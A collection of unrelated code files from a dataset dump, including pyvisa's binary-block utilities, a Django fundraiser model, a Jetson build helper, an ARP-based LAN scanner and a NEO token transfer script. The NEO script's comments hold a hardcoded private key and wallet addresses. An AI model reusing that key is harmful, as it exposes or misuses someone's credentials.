bytes | bytearray\n :return: (offset, data_length)\n :rtype: (int, int)\n\n \"\"\"\n begin = block.find(b'#')\n if begin < 0:\n raise ValueError(\"Could not find hash sign (#) indicating the start of\"\n \" the block.\")\n\n length_before_block = length_before_block or DEFAULT_LENGTH_BEFORE_BLOCK\n if begin > length_before_block:\n msg = (\"The beginning of the block has been found at %d which \"\n \"is an unexpectedly large value. The actual block may \"\n \"have been missing a beginning marker but the block \"\n \"contained one:\\n%s\") % (begin, repr(block))\n if raise_on_late_block:\n raise RuntimeError(msg)\n else:\n warnings.warn(msg, UserWarning)\n\n try:\n # int(block[begin+1]) != int(block[begin+1:begin+2]) in Python 3\n header_length = int(block[begin+1:begin+2])\n except ValueError:\n header_length = 0\n offset = begin + 2 + header_length\n\n if header_length > 0:\n # #3100DATA\n # 012345\n data_length = int(block[begin+2:offset])\n else:\n # #0DATA\n # 012\n data_length = 0\n\n return offset, data_length\n\n\ndef parse_hp_block_header(block, is_big_endian, length_before_block=None,\n raise_on_late_block=False):\n \"\"\"Parse the header of a HP block.\n\n Definite Length Arbitrary Block:\n #A\n\n The header ia always 4 bytes long.\n The data_length field specifies the size of the data.\n\n :param block: HP block.\n :type block: bytes | bytearray\n :param is_big_endian: boolean indicating endianess.\n :return: (offset, data_length)\n :rtype: (int, int)\n\n \"\"\"\n begin = block.find(b'#A')\n if begin < 0:\n raise ValueError(\"Could not find the standard block header (#A) \"\n \"indicating the start of the block.\")\n\n length_before_block = length_before_block or DEFAULT_LENGTH_BEFORE_BLOCK\n if begin > length_before_block:\n msg = (\"The beginning of the block has been found at %d which \"\n \"is an unexpectedly large value. The actual block may \"\n \"have been missing a beginning marker but the block \"\n \"contained one:\\n%s\") % (begin, repr(block))\n if raise_on_late_block:\n raise RuntimeError(msg)\n else:\n warnings.warn(msg, UserWarning)\n\n offset = begin + 4\n\n data_length = int.from_bytes(block[begin+2:offset],\n byteorder='big' if is_big_endian else 'little'\n )\n\n return offset, data_length\n\n\ndef from_ieee_block(block, datatype='f', is_big_endian=False, container=list):\n \"\"\"Convert a block in the IEEE format into an iterable of numbers.\n\n Definite Length Arbitrary Block:\n #\n\n The header_length specifies the size of the data_length field.\n And the data_length field specifies the size of the data.\n\n Indefinite Length Arbitrary Block:\n #0\n\n :param block: IEEE block.\n :type block: bytes | bytearray\n :param datatype: the format string for a single element. See struct module.\n :param is_big_endian: boolean indicating endianess.\n :param container: container type to use for the output data.\n :return: items\n :rtype: type(container)\n\n \"\"\"\n offset, data_length = parse_ieee_block_header(block)\n\n # If the data length is not reported takes all the data and do not make\n # any assumption about the termination character\n if data_length == 0:\n data_length = len(block) - offset\n\n if len(block) < offset + data_length:\n raise ValueError(\"Binary data is incomplete. The header states %d data\"\n \" bytes, but %d where received.\" %\n (data_length, len(block) - offset))\n\n return from_binary_block(block, offset, data_length, datatype,\n is_big_endian, container)\n\n\ndef from_hp_block(block, datatype='f', is_big_endian=False, container=list):\n \"\"\"Convert a block in the HP format into an iterable of numbers.\n\n Definite Length Arbitrary Block:\n #A\n\n The header ia always 4 bytes long.\n The data_length field specifies the size of the data.\n\n :param block: HP block.\n :type block: bytes | bytearray\n :param datatype: the format string for a single element. See struct module.\n :param is_big_endian: boolean indicating endianess.\n :param container: container type to use for the output data.\n :return: items\n :rtype: type(container)\n \"\"\"\n offset, data_length = parse_hp_block_header(block, is_big_endian)\n\n # If the data length is not reported takes all the data and do not make\n # any assumption about the termination character\n if data_length == 0:\n data_length = len(block) - offset\n\n if len(block) < offset + data_length:\n raise ValueError(\"Binary data is incomplete. The header states %d data\"\n \" bytes, but %d where received.\" %\n (data_length, len(block) - offset))\n\n return from_binary_block(block, offset, data_length, datatype,\n is_big_endian, container)\n\n\ndef from_binary_block(block, offset=0, data_length=None, datatype='f',\n is_big_endian=False, container=list):\n \"\"\"Convert a binary block into an iterable of numbers.\n\n :param block: binary block.\n :type block: bytes | bytearray\n :param offset: offset at which the data block starts (default=0)\n :param data_length: size in bytes of the data block\n (default=len(block) - offset)\n :param datatype: the format string for a single element. See struct module.\n :param is_big_endian: boolean indicating endianess.\n :param container: container type to use for the output data.\n :return: items\n :rtype: type(container)\n \"\"\"\n if data_length is None:\n data_length = len(block) - offset\n\n element_length = struct.calcsize(datatype)\n array_length = int(data_length / element_length)\n\n endianess = '>' if is_big_endian else '<'\n\n if _use_numpy_routines(container):\n return np.frombuffer(block, endianess+datatype, array_length, offset)\n\n fullfmt = '%s%d%s' % (endianess, array_length, datatype)\n\n try:\n return container(struct.unpack_from(fullfmt, block, offset))\n except struct.error:\n raise ValueError(\"Binary data was malformed\")\n\n\ndef to_binary_block(iterable, header, datatype, is_big_endian):\n \"\"\"Convert an iterable of numbers into a block of data with a given header.\n\n :param iterable: an iterable of numbers.\n :param header: the header which should prefix the binary block\n :param datatype: the format string for a single element. See struct module.\n :param is_big_endian: boolean indicating endianess.\n :return: IEEE block.\n :rtype: bytes\n \"\"\"\n array_length = len(iterable)\n\n endianess = '>' if is_big_endian else '<'\n fullfmt = '%s%d%s' % (endianess, array_length, datatype)\n\n if isinstance(header, str):\n header = bytes(header, 'ascii')\n\n return header + struct.pack(fullfmt, *iterable)\n\n\ndef to_ieee_block(iterable, datatype='f', is_big_endian=False):\n \"\"\"Convert an iterable of numbers into a block of data in the IEEE format.\n\n :param iterable: an iterable of numbers.\n :param datatype: the format string for a single element. See struct module.\n :param is_big_endian: boolean indicating endianess.\n :return: IEEE block.\n :rtype: bytes\n \"\"\"\n array_length = len(iterable)\n element_length = struct.calcsize(datatype)\n data_length = array_length * element_length\n\n header = '%d' % data_length\n header = '#%d%s' % (len(header), header)\n\n return to_binary_block(iterable, header, datatype, is_big_endian)\n\n\ndef to_hp_block(iterable, datatype='f', is_big_endian=False):\n \"\"\"Convert an iterable of numbers into a block of data in the HP format.\n\n :param iterable: an iterable of numbers.\n :param datatype: the format string for a single element. See struct module.\n :param is_big_endian: boolean indicating endianess.\n :return: IEEE block.\n :rtype: bytes\n \"\"\"\n\n array_length = len(iterable)\n element_length = struct.calcsize(datatype)\n data_length = array_length * element_length\n\n header = b'#A' + (int.to_bytes(data_length, 2,\n 'big' if is_big_endian else 'little'))\n\n return to_binary_block(iterable, header, datatype, is_big_endian)\n\n\ndef get_system_details(backends=True):\n \"\"\"Return a dictionary with information about the system\n \"\"\"\n buildno, builddate = platform.python_build()\n if sys.maxunicode == 65535:\n # UCS2 build (standard)\n unitype = 'UCS2'\n else:\n # UCS4 build (most recent Linux distros)\n unitype = 'UCS4'\n bits, linkage = platform.architecture()\n\n d = {\n 'platform': platform.platform(),\n 'processor': platform.processor(),\n 'executable': sys.executable,\n 'implementation': getattr(platform, 'python_implementation',\n lambda: 'n/a')(),\n 'python': platform.python_version(),\n 'compiler': platform.python_compiler(),\n 'buildno': buildno,\n 'builddate': builddate,\n 'unicode': unitype,\n 'bits': bits,\n 'pyvisa': __version__,\n 'backends': OrderedDict()\n }\n\n if backends:\n from . import highlevel\n for backend in highlevel.list_backends():\n if backend.startswith('pyvisa-'):\n backend = backend[7:]\n\n try:\n cls = highlevel.get_wrapper_class(backend)\n except Exception as e:\n d['backends'][backend] = ['Could not instantiate backend',\n '-> %s' % str(e)]\n continue\n\n try:\n d['backends'][backend] = cls.get_debug_info()\n except Exception as e:\n d['backends'][backend] = ['Could not obtain debug info',\n '-> %s' % str(e)]\n\n return d\n\n\ndef system_details_to_str(d, indent=''):\n \"\"\"Return a str with the system details.\n\n \"\"\"\n\n l = ['Machine Details:',\n ' Platform ID: %s' % d.get('platform', 'n/a'),\n ' Processor: %s' % d.get('processor', 'n/a'),\n '',\n 'Python:',\n ' Implementation: %s' % d.get('implementation', 'n/a'),\n ' Executable: %s' % d.get('executable', 'n/a'),\n ' Version: %s' % d.get('python', 'n/a'),\n ' Compiler: %s' % d.get('compiler', 'n/a'),\n ' Bits: %s' % d.get('bits', 'n/a'),\n ' Build: %s (#%s)' % (d.get('builddate', 'n/a'),\n d.get('buildno', 'n/a')),\n ' Unicode: %s' % d.get('unicode', 'n/a'),\n '',\n 'PyVISA Version: %s' % d.get('pyvisa', 'n/a'),\n '',\n ]\n\n def _to_list(key, value, indent_level=0):\n sp = ' ' * indent_level * 3\n\n if isinstance(value, str):\n if key:\n return ['%s%s: %s' % (sp, key, value)]\n else:\n return ['%s%s' % (sp, value)]\n\n elif isinstance(value, dict):\n if key:\n al = ['%s%s:' % (sp, key)]\n else:\n al = []\n\n for k, v in value.items():\n al.extend(_to_list(k, v, indent_level+1))\n return al\n\n elif isinstance(value, (tuple, list)):\n if key:\n al = ['%s%s:' % (sp, key)]\n else:\n al = []\n\n for v in value:\n al.extend(_to_list(None, v, indent_level+1))\n\n return al\n\n else:\n return [\"%s\" % value]\n\n l.extend(_to_list('Backends', d['backends']))\n\n joiner = '\\n' + indent\n return indent + joiner.join(l) + '\\n'\n\n\ndef get_debug_info(to_screen=True):\n out = system_details_to_str(get_system_details())\n if not to_screen:\n return out\n print(out)\n\n\ndef pip_install(package): # pragma: no cover\n warnings.warn('warn_for_invalid_kwargs will be removed in 1.12',\n FutureWarning)\n try:\n # noinspection PyPackageRequirements,PyUnresolvedReferences\n import pip\n return pip.main(['install', package])\n except ImportError:\n print(system_details_to_str(get_system_details()))\n raise RuntimeError('Please install pip to continue.')\n\n\nmachine_types = {\n 0: 'UNKNOWN',\n 0x014c: 'I386',\n 0x0162: 'R3000',\n 0x0166: 'R4000',\n 0x0168: 'R10000',\n 0x0169: 'WCEMIPSV2',\n 0x0184: 'ALPHA',\n 0x01a2: 'SH3',\n 0x01a3: 'SH3DSP',\n 0x01a4: 'SH3E',\n 0x01a6: 'SH4',\n 0x01a8: 'SH5',\n 0x01c0: 'ARM',\n 0x01c2: 'THUMB',\n 0x01c4: 'ARMNT',\n 0x01d3: 'AM33',\n 0x01f0: 'POWERPC',\n 0x01f1: 'POWERPCFP',\n 0x0200: 'IA64',\n 0x0266: 'MIPS16',\n 0x0284: 'ALPHA64',\n # 0x0284: 'AXP64', # same\n 0x0366: 'MIPSFPU',\n 0x0466: 'MIPSFPU16',\n 0x0520: 'TRICORE',\n 0x0cef: 'CEF',\n 0x0ebc: 'EBC',\n 0x8664: 'AMD64',\n 0x9041: 'M32R',\n 0xc0ee: 'CEE',\n}\n\n\ndef get_shared_library_arch(filename):\n with io.open(filename, 'rb') as fp:\n dos_headers = fp.read(64)\n _ = fp.read(4)\n\n magic, skip, offset = struct.unpack(\"=2s58sl\", dos_headers)\n\n if magic != b'MZ':\n raise Exception('Not an executable')\n\n fp.seek(offset, io.SEEK_SET)\n pe_header = fp.read(6)\n\n sig, skip, machine = struct.unpack(str('=2s2sH'), pe_header)\n\n if sig != b'PE':\n raise Exception('Not a PE executable')\n\n return machine_types.get(machine, 'UNKNOWN')\n\n\ndef get_arch(filename):\n this_platform = sys.platform\n if this_platform.startswith('win'):\n machine_type = get_shared_library_arch(filename)\n if machine_type == 'I386':\n return 32,\n elif machine_type in ('IA64', 'AMD64'):\n return 64,\n else:\n return ()\n elif this_platform not in ('linux2', 'linux3', 'linux', 'darwin'):\n raise OSError('Unsupported platform: %s' % this_platform)\n\n out = subprocess.run([\"file\", filename], capture_output=True)\n out = out.stdout.decode(\"ascii\")\n print(out)\n ret = []\n if this_platform.startswith('linux'):\n if '32-bit' in out:\n ret.append(32)\n if '64-bit' in out:\n ret.append(64)\n else: # darwin\n if '(for architecture i386)' in out:\n ret.append(32)\n if '(for architecture x86_64)' in out:\n ret.append(64)\n\n return tuple(ret)\n","sub_path":"pyvisa/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":22766,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"559896167","text":"from Corpus.Sentence import Sentence\n\n\nclass UniversalDependencyTreeBankSentence(Sentence):\n\n comments: list\n\n def __init__(self):\n super().__init__()\n self.comments = []\n\n def addComment(self, comment: str):\n self.comments.append(comment)\n\n def __str__(self) -> str:\n result = \"\"\n for comment in self.comments:\n result += comment + \"\\n\"\n for word in self.words:\n result += word.__str__() + \"\\n\"\n return result\n","sub_path":"DependencyParser/Universal/UniversalDependencyTreeBankSentence.py","file_name":"UniversalDependencyTreeBankSentence.py","file_ext":"py","file_size_in_byte":494,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"500903604","text":"from django.db import models\nfrom django.db.models import options\nfrom django.db.models.aggregates import Sum\nfrom django.utils.translation import ugettext as _\n\nfrom django_extensions.db.fields import (ModificationDateTimeField,\n CreationDateTimeField)\n\nfrom bluebottle.utils.fields import ImageField\nfrom bluebottle.utils.utils import GetTweetMixin, StatusDefinition\n\n\nclass BaseFundraiser(models.Model, GetTweetMixin):\n owner = models.ForeignKey('members.Member',\n verbose_name=_(\"initiator\"),\n help_text=_(\"Project owner\"))\n project = models.ForeignKey('projects.Project',\n verbose_name=_(\"project\"))\n\n title = models.CharField(_(\"title\"), max_length=255)\n description = models.TextField(_(\"description\"), blank=True)\n image = ImageField(_(\"picture\"), max_length=255, blank=True, null=True,\n upload_to='fundraiser_images/',\n help_text=_(\"Minimal of 800px wide\"))\n video_url = models.URLField(max_length=100, blank=True, default='')\n\n amount = models.DecimalField(_(\"amount\"), decimal_places=2, max_digits=10)\n currency = models.CharField(max_length=10, default='EUR')\n deadline = models.DateTimeField(null=True)\n\n created = CreationDateTimeField(_(\"created\"), help_text=_(\n \"When this fundraiser was created.\"))\n updated = ModificationDateTimeField(_('updated'))\n deleted = models.DateTimeField(_('deleted'), blank=True, null=True)\n\n location = models.ForeignKey('geo.Location', null=True, blank=True)\n\n def __unicode__(self):\n return self.title\n\n @property\n def amount_donated(self):\n donations = self.donation_set.filter(\n order__status__in=[StatusDefinition.SUCCESS,\n StatusDefinition.PENDING])\n if donations:\n total = donations.aggregate(sum=Sum('amount'))\n return total['sum']\n return 0.0\n\n class Meta():\n abstract = True\n","sub_path":"bluebottle/bb_fundraisers/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2060,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"481322377","text":"import os\ndef get_ex_file(wrong_file_name, path):\n files = os.listdir(path)\n words = wrong_file_name.split()\n samples = []\n more = []\n cnt = 0\n file_split = [i.split() for i in files]\n values = [compare(words, i) for i in file_split] \n return os.path.join(path, files[values.index(max(values))]).replace(\"\\\\\\\\\", \"/\").replace(\"\\\\\", \"/\")\n\ndef compare(list1, list2):\n cnt = 0\n for i, j in zip(list1, list2):\n if i.lower() == j.lower():\n cnt+=1\n return cnt\ndef get_sub_folder_path(path):\n return path[:path.rindex('/')]\ndef replace_string(list, word, w=\"\"):\n for i in list:\n word = word.replace(i, \"\")\n return word\n\ndef rm(wrong_file_name, path):\n list = ['.', \",\"]\n files = os.listdir(path)\n file_split = [i.split() for i in files]\n file = replace_string(list, wrong_file_name, w=\"\")\n for i in files:\n if file in i:\n return os.path.join(path, i).replace(\"\\\\\", \"/\")\n else:\n pass\n return None\nif __name__==\"__main__\":\n print(rm(\"Eredaze - Save Me (feat. Luke & Jolle) (Audio)\", 'D:\\Programs\\Advanced Youtube Downloader\\TestMp3'))\n","sub_path":"utils/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":1187,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"323462215","text":"import logging\nimport string\nimport subprocess\nimport os\nimport selectors\nimport sys\nfrom collections import namedtuple\n\nfrom .board import KERNEL_RELEASE, L4T_VERSION, AVT_RELEASE\n\nTools = namedtuple('Tools', ['extract', 'execute', 'apply_template','get_template_args'])\n\ndef tools(args):\n def get_template_args(board):\n avt_release = os.getenv('AVT_RELEASE')\n\n if avt_release is None:\n process = subprocess.run(['git','rev-parse','--short','HEAD'],stdout=subprocess.PIPE)\n git_hash = process.stdout.decode(\"utf-8\").strip()\n avt_release = f'{AVT_RELEASE}~g{git_hash}'\n\n template_args = {\n \"L4T_TOOLS_VERSION\": board.l4t_tools_version,\n \"KERNEL_RELEASE\": KERNEL_RELEASE,\n \"L4T_VERSION\": L4T_VERSION,\n \"AVT_RELEASE\": avt_release,\n \"BOARD_NAME\": board.bundle_name\n }\n return template_args\n\n def apply_template(src, dest, board):\n template_args = get_template_args(board)\n\n fin = open(src, 'rt')\n template = string.Template(fin.read())\n fin.close()\n fout = open(dest, 'wt')\n fout.write(template.substitute(template_args))\n fout.close()\n\n def execute(args, **kwargs):\n src = args[0]\n try:\n sudo = kwargs.get('sudo', False)\n stdin = None\n if sudo:\n args = ['sudo', '-S', '-n'] + args\n stdin = subprocess.PIPE\n src = 'sudo ' + src\n\n outfile = kwargs.get('outfile', subprocess.PIPE)\n\n sub = subprocess.Popen(args, bufsize=1, stdout=outfile, stderr=subprocess.PIPE, cwd=kwargs.get('cwd', None), env=kwargs.get('env', None))\n\n logging.verbose(f\"Executing `{' '.join(str(x) for x in args)}`\")\n\n sel = selectors.DefaultSelector()\n if outfile == subprocess.PIPE:\n sel.register(sub.stdout, selectors.EVENT_READ)\n sel.register(sub.stderr, selectors.EVENT_READ)\n stderr_log = \"\"\n stdout_log = \"\"\n while sub.poll() == None:\n events = sel.select()\n for k, _ in events:\n fd = k.fileobj\n data = fd.readline().decode('UTF-8')\n\n if len(data) > 0:\n data = data.rstrip()\n if fd == sub.stdout:\n stdout_log += data + \"\\n\"\n logging.debug(f'({src},stdout) {data}')\n elif fd == sub.stderr:\n stderr_log += data + \"\\n\"\n logging.debug(f'({src},stderr) {data}')\n\n if sub.returncode != 0:\n logging.error(f'Error {sub.returncode} executing `{\" \".join(str(x) for x in args)}`')\n logging.error(f'stdout:\\n{stdout_log}\\nstderr:\\n{stderr_log}')\n raise RuntimeError(f'Subprocess returned error {sub.returncode}')\n\n except Exception as err:\n raise RuntimeError(f'Error {str(err)} executing `{\" \".join(str(x) for x in args)}`') from err\n \n\n def extract(archive_file, destination, **kwargs):\n logging.verbose(f'Extracting {archive_file.local_file} to {destination}')\n os.makedirs(destination, exist_ok=True)\n suffixes = archive_file.local_file.suffixes\n args = []\n if '.tbz2' in suffixes or '.tgz' in suffixes or '.tar' in suffixes:\n strip = kwargs.get('strip', None)\n cmd = 'xfv'\n if '.xz' in suffixes:\n cmd = cmd + 'J'\n elif '.bz2' in suffixes or '.tbz2' in suffixes:\n cmd = cmd + 'j'\n elif '.gz' in suffixes or '.tgz' in suffixes:\n cmd = cmd + 'z'\n\n args.extend(['tar', cmd, archive_file.local_file])\n if strip:\n args.append(f'--strip-components={strip}')\n args.extend(['-C', destination])\n\n if kwargs.get('sudo', False):\n args.insert(0, 'sudo')\n\n try:\n execute(args)\n except Exception as err:\n logging.error(f'Failed to extract {archive_file.local_file}')\n raise RuntimeError(f'Error extracting archive') from err\n\n return Tools(extract=extract, execute=execute, apply_template=apply_template, get_template_args=get_template_args)\n","sub_path":"avt_build/jetson_build/tools.py","file_name":"tools.py","file_ext":"py","file_size_in_byte":3845,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"3779123","text":"import subprocess\nfrom Tkinter import *\nimport threading\nimport subprocess\n\n\n\n\nlabelList = list()\n\ndef scan():\n output = subprocess.check_output((\"arp\", \"-a\"))\n for line in output.splitlines():\n print(line)\n list = str(line).split(' ')\n label = Label(root, text=\"Device Name: \" + list[0] + \"; Hardware Address: \" + list[3] + \" is active at IP: \" + list[1], fg=\"green4\", borderwidth = 2, relief = \"groove\")\n labelList.append(label)\n label.pack()\n\n\n\ndef button1():\n threading.Thread(target=scan).start()\n\ndef button2():\n for label in labelList:\n label.destroy()\n\n\nroot = Tk()\nroot.title(\"Network Scanner\")\nroot.geometry(\"650x650\")\nframe = Frame(root,width=1000,height=1000,bd=2,relief=GROOVE)\nframe.pack()\n\nbutton1 = Button(frame, text = \"Scan Your Network\", command = button1)\nbutton2 = Button(frame, text = \"Clear Screen\", command = button2)\nbutton1.pack()\nbutton2.pack()\n\nroot.mainloop()","sub_path":"GUILanScan.py","file_name":"GUILanScan.py","file_ext":"py","file_size_in_byte":943,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"306946353","text":"\nimport binascii\nimport json\n\nimport requests\nimport sys\nfrom base58 import b58decode\nfrom neocore.IO.BinaryWriter import BinaryWriter\nfrom neocore.BigInteger import BigInteger\nfrom neo.Core.TX.InvocationTransaction import InvocationTransaction\nfrom neo.Core.TX.Transaction import TransactionOutput,TransactionInput\nfrom neo.Core.Blockchain import Blockchain\nfrom neocore.Cryptography.Crypto import Crypto\nfrom neocore.Fixed8 import Fixed8\nfrom neocore.UInt160 import UInt160\nfrom neocore.UInt256 import UInt256\nfrom neo.IO.MemoryStream import MemoryStream\nfrom neo.SmartContract.ContractParameterContext import ContractParametersContext\nfrom neo.VM.ScriptBuilder import ScriptBuilder, PACK\nfrom neo.Wallets.NEP5Token import NEP5Token\n\n\n\n\n\n# address_to = \"AbZNDqwCSZj4XJSGHmbQTSoHofE2PRMurT\"\n# address_from = \"AGgZna4kbTXPm16yYZyG6RyrQz2Sqotno6\"\n# tnc_amount = 7\n# gas_change = None\n# input_txid = None\n# preIndex = None\n# contract_hash =\"849d095d07950b9e56d0c895ec48ec5100cfdff1\"\n# private_key = \"0d94b060fe4a5f382174f75f3dca384ebc59c729cef92d553084c7c660a4c08f\"\n# public_key = \"023886d5529481223f94d422bb6a1e05b0f831e2628c3200373a986b8208ff1c26\"\n\ndef get_gas_balance(address):\n url = \"http://192.168.203.64:8000/api/getBalance\"\n headers = {\n \"Content-Type\": \"application/json\"\n }\n\n data = {\n \"address\": address\n }\n res = requests.post(url, headers=headers, json=data).json()\n if res:\n return res[\"gasBalance\"]\n return None\n\n\ndef get_gas_vouts(address):\n\n url = \"http://192.168.203.64:8000/api/getGasVout\"\n headers = {\n \"Content-Type\": \"application/json\"\n }\n\n data = {\n \"address\": address\n }\n res = requests.post(url, headers=headers, json=data).json()\n\n return res\n\n\n\ndef send_rawtransaction(hexstr):\n url = \"http://192.168.203.64:20332\"\n headers = {\n \"Content-Type\": \"application/json\"\n }\n\n data = {\n \"jsonrpc\": \"2.0\",\n \"method\": \"sendrawtransaction\",\n \"params\": [hexstr],\n \"id\": 1\n }\n res = requests.post(url, headers=headers, json=data).json()\n if res[\"result\"]:\n return \"sucess\"\n return \"fail\"\n\n\ndef amount_from_string(token, amount_str):\n precision_mult = pow(10, token.decimals)\n amount = float(amount_str) * precision_mult\n\n return int(amount)\n\n\ndef get_nep5token_id(contract_hash):\n hash_ar = bytearray(binascii.unhexlify(contract_hash))\n hash_ar.reverse()\n hash = UInt160(data=hash_ar)\n token = NEP5Token()\n token.SetScriptHash(hash)\n # token.symbol = \"TNC\"\n token.decimals = 8\n\n return token\n\n\ndef ToScriptHash(address):\n data = b58decode(address)\n if len(data) != 25:\n raise ValueError('Not correct Address, wrong length.')\n if data[0] != 23:\n raise ValueError('Not correct Coin Version')\n\n checksum = Crypto.Default().Hash256(data[:21])[:4]\n if checksum != data[21:]:\n raise Exception('Address format error')\n return UInt160(data=data[1:21])\n\n\ndef get_asset_id(asset_type):\n assetId = None\n\n if asset_type.lower() == 'neo':\n assetId = Blockchain.Default().SystemShare().Hash\n elif asset_type.lower() == 'gas':\n assetId = Blockchain.Default().SystemCoin().Hash\n elif Blockchain.Default().GetAssetState(asset_type):\n assetId = Blockchain.Default().GetAssetState(asset_type).AssetId\n\n return assetId\n\n\ndef hex_reverse(input):\n tmp_list = []\n for i in range(0, len(input), 2):\n tmp_list.append(input[i:i + 2])\n hex_str = \"\".join(list(reversed(tmp_list)))\n return hex_str\n\n\ndef get_tx_data(tx):\n ms = MemoryStream()\n w = BinaryWriter(ms)\n tx.Serialize(w)\n ms.flush()\n tx_data = ms.ToArray().decode()\n return tx_data\n\n\ndef toArray(obj):\n ms = MemoryStream()\n w = BinaryWriter(ms)\n obj.Serialize(w)\n ms.flush()\n return ms.ToArray().decode()\n\n\ndef create_tx(contract_hash,address_from,address_to,tnc_amount,gas_change,input_txid,preIndex):\n\n nep5TokenId=get_nep5token_id(contract_hash)\n scripthash_from=ToScriptHash(address_from)\n scripthash_to=ToScriptHash(address_to)\n f8amount=amount_from_string(nep5TokenId,tnc_amount)\n f8amount_change = Fixed8.TryParse(gas_change, require_positive=True)\n assetId=get_asset_id(\"gas\")\n preHash=UInt256(data=binascii.unhexlify(hex_reverse(input_txid)))\n\n input = TransactionInput(prevHash=preHash, prevIndex=preIndex)\n output = TransactionOutput(AssetId=assetId, Value=f8amount_change, script_hash=scripthash_from)\n\n tx = InvocationTransaction(outputs=[output], inputs=[input])\n tx.Version = 1\n context = ContractParametersContext(tx)\n tx.scripts = context.GetScripts()\n\n\n\n\n invoke_args=[nep5TokenId.ScriptHash, 'transfer',[bytearray.fromhex(hex_reverse(scripthash_from.ToString())),\n bytearray.fromhex(hex_reverse(scripthash_to.ToString())),\n BigInteger(f8amount)]]\n sb = ScriptBuilder()\n invoke_args.reverse()\n for item in invoke_args[:2]:\n if type(item) is list:\n item.reverse()\n listlength = len(item)\n for listitem in item:\n sb.push(listitem)\n sb.push(listlength)\n sb.Emit(PACK)\n else:\n sb.push(binascii.hexlify(item.encode()))\n\n sb.EmitAppCall(nep5TokenId.ScriptHash.ToArray())\n\n\n op_data = sb.ToArray().decode()\n tx.Script = binascii.unhexlify(op_data)\n tx_data=get_tx_data(tx)[:-2]\n print (\"tx_data:\",tx_data)\n signstr =binascii.hexlify(Crypto.Sign(message=tx_data, private_key=private_key)).decode()\n rawtx_data = tx_data + \"014140\" + signstr + \"2321\" + public_key + \"ac\"\n return rawtx_data\n\n\n\n","sub_path":"src/neo_python_tool/rpcServer/transfer_tnc.py","file_name":"transfer_tnc.py","file_ext":"py","file_size_in_byte":5769,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"305242325","text":"# see also https://github.com/sourcefabric-innovation/citizendesk-core/blob/master/src/citizendesk/feeds/any/coverage/storage.py#L18\nentity = {\n 'schema': {\n 'title': {\n 'type': 'string',\n 'required': True\n },\n 'description': {'type': 'string'},\n 'active': {'type': 'boolean'},\n },\n 'resource_methods': ['GET', 'POST'],\n 'item_methods': ['GET', 'PUT', 'DELETE', 'PATCH'],\n 'pagination': False,\n}\n","sub_path":"citizendesk_interface/entities/coverages.py","file_name":"coverages.py","file_ext":"py","file_size_in_byte":461,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"359515098","text":"import h5py\nimport numpy as np\nimport sys\nfrom pysingfel.util import symmpdb\nfrom pysingfel.ff_waaskirf_database import *\nimport pysingfel.particle\nfrom scipy.spatial import distance\n\ndef max_radius(particles):\n radius_current = 0\n for particle in particles:\n radius_arr = particle.atom_pos - np.mean(particle.atom_pos, axis=0)\n for row in radius_arr:\n radius = np.sqrt(row[0]**2+row[1]**2+row[2]**2)\n if radius > radius_current:\n radius_current = radius\n radius_max = radius_current\n return radius_max\n\n\ndef distribute_particles(particles, beam_focus_radius, jet_radius): #beam_focus_radius = 10e-6 #jet_radius = 1e-4\n state = []\n for particle in particles:\n for count in range(particles[particle]):\n state.append(particle)\n radius_max = max_radius(particles)\n N = sum(particles.values()) # total number of particles\n coords = np.zeros((N,3)) # initialize N*3 array\n # generate N*3 random positions\n for i in range(N):\n coords[i,0] = beam_focus_radius*np.random.uniform(-1, 1)\n coords[i,1] = beam_focus_radius*np.random.uniform(-1, 1)\n coords[i,2] = jet_radius*np.random.uniform(-1, 1)\n # calculate N*N distance matrix\n dist_matrix = distance.cdist(coords, coords, 'euclidean')\n # collision detection check (<2 maxRadius)\n collision = dist_matrix < 2*radius_max\n checkList = [collision[i][j] for i in range(N) for j in range(N) if j > i]\n if any(item == True for item in checkList):\n distribute_particles(particles, beam_focus_radius, jet_radius)\n return state, coords\n\n\ndef position_in_3d(particles, beam_focus_radius, jet_radius):\n state, coords = distribute_particles(particles, beam_focus_radius, jet_radius)\n x = np.array([])\n y = np.array([])\n z = np.array([])\n for i in range(len(state)):\n x = np.concatenate([x,state[i].atom_pos[:,0]+coords[i][0]])\n y = np.concatenate([y,state[i].atom_pos[:,1]+coords[i][1]])\n z = np.concatenate([z,state[i].atom_pos[:,2]+coords[i][2]])\n return x, y, z\n","sub_path":"pysingfel/particlePlacement.py","file_name":"particlePlacement.py","file_ext":"py","file_size_in_byte":2086,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"478945157","text":"from directory_components.decorators import skip_ga360\nfrom django.conf.urls import url\nfrom perfect_fit_prospectus.views import PerfectFitProspectusMainView, \\\n PerfectFitProspectusReportProxyView, PerfectFitProspectusSuccessView\n\n\nurlpatterns = [\n url(\n '^$',\n skip_ga360(PerfectFitProspectusMainView.as_view()),\n name='main'\n ),\n url(\n '^success/$',\n skip_ga360(PerfectFitProspectusSuccessView.as_view()),\n name='success'\n ),\n url(\n '^reports/(?P.*)$',\n skip_ga360(PerfectFitProspectusReportProxyView.as_view()),\n name='report'\n ),\n]\n","sub_path":"perfect_fit_prospectus/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":631,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"517862850","text":"from tastypie.authentication import ApiKeyAuthentication\nfrom tastypie.authorization import DjangoAuthorization\nfrom tastypie.resources import ModelResource, ALL\n\nfrom ui.models import Record\n\n\nclass RecordResource(ModelResource):\n class Meta:\n queryset = Record.objects.all()\n resource_name = 'record'\n authentication = ApiKeyAuthentication()\n authorization = DjangoAuthorization()\n 